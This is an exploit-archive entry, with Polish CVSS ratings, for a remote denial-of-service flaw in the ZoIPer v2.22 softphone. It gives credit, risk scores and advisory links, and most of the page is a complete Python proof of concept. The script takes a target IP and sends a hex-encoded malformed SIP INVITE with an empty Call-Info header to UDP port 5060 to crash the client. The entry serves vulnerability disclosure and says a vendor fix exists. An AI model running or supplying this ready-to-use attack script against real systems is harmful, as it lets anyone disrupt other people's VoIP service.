ZoIPer v2.22 Call-Info Remote Denial Of Service

2009.10.19
Credit: Tomer Bitton
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Brak
Wpływ na dostępność: Częściowy

#!/usr/bin/python # ZoIPer v2.22 Call-Info Remote Denial Of Service. # Remote Crash P.O.C. # Author: Tomer Bitton (Gr33n_G0bL1n) # Tested on Windows XP SP2 , SP3 , Ubuntu 8.10 # # Vendor Notified on: 21/09/2009 # Vendor Fix: Fixed in version 2.24 Library 5324 # # Bad Chars: \x20 , \x09 import sys import socket import os def main(argc , argv): if len(sys.argv) != 2: os.system("cls") sys.exit("Usage: " + sys.argv[0] + " <target_ip>\n") target_host = sys.argv[1] target_port = 5060 evil_packet = "\x49\x4e\x56\x49\x54\x45\x20\x73\x69\x70\x3a\x4e\x65\x6f\x40\x31"+\ "\x30\x2e\x30\x2e\x30\x2e\x31\x20\x53\x49\x50\x2f\x32\x2e\x30\x0d"+\ "\x0a\x56\x69\x61\x3a\x20\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44"+\ "\x50\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31\x33\x31"+\ "\x3a\x31\x32\x39\x38\x3b\x62\x72\x61\x6e\x63\x68\x3d\x7a\x39\x68"+\ "\x47\x34\x62\x4b\x4a\x52\x6e\x54\x67\x67\x76\x4d\x47\x6c\x2d\x36"+\ "\x32\x33\x33\x0d\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77\x61\x72\x64"+\ "\x73\x3a\x20\x37\x30\x0d\x0a\x46\x72\x6f\x6d\x3a\x20\x4d\x6f\x72"+\ "\x70\x68\x65\x75\x73\x20\x3c\x73\x69\x70\x3a\x4d\x6f\x72\x70\x68"+\ "\x65\x75\x73\x40\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31"+\ "\x33\x31\x3e\x3b\x74\x61\x67\x3d\x66\x37\x6d\x58\x5a\x71\x67\x71"+\ "\x5a\x79\x2d\x36\x32\x33\x33\x0d\x0a\x54\x6f\x3a\x20\x4e\x65\x6f"+\ "\x20\x3c\x73\x69\x70\x3a\x4e\x65\x6f\x40\x31\x30\x2e\x30\x2e\x30"+\ "\x2e\x31\x3e\x0d\x0a\x43\x61\x6c\x6c\x2d\x49\x44\x3a\x20\x77\x53"+\ "\x48\x68\x48\x6a\x6e\x67\x39\x39\x2d\x36\x32\x33\x33\x40\x31\x39"+\ "\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31\x33\x31\x0d\x0a\x43\x53"+\ "\x65\x71\x3a\x20\x36\x32\x33\x33\x20\x49\x4e\x56\x49\x54\x45\x0d"+\ "\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x3c\x73\x69\x70\x3a\x4d"+\ "\x6f\x72\x70\x68\x65\x75\x73\x40\x31\x39\x32\x2e\x31\x36\x38\x2e"+\ "\x35\x37\x2e\x31\x33\x31\x3e\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74"+\ "\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69"+\ "\x6f\x6e\x2f\x73\x64\x70\x0d\x0a\x43\x61\x6c\x6c\x2d\x49\x6e\x66"+\ "\x6f\x3a\x20\x20\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c"+\ "\x65\x6e\x67\x74\x68\x3a\x20\x31\x32\x35\x0d\x0a\x0d\x0a" os.system("cls") print "[+] ZoIPer Call-Info Remote Denial Of Service\r\n" print "[+] Exploited By Gr33n_G0bL1n\r\n" print "[+] Connecting to %s on port %d\r\n" % (target_host,target_port) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect((target_host,target_port)) print "[+] Trying To Send Evil Packet...\r\n" s.sendall(evil_packet) s.close() print "[+] Done!\r\n" except: print "[x] Connection Error!\r\n" if (__name__ == "__main__"): sys.exit(main(len(sys.argv), sys.argv))

Referencje:

http://xforce.iss.net/xforce/xfdb/53792
http://secunia.com/advisories/37015
http://packetstormsecurity.org/0910-exploits/zoiper_dos.py.txt


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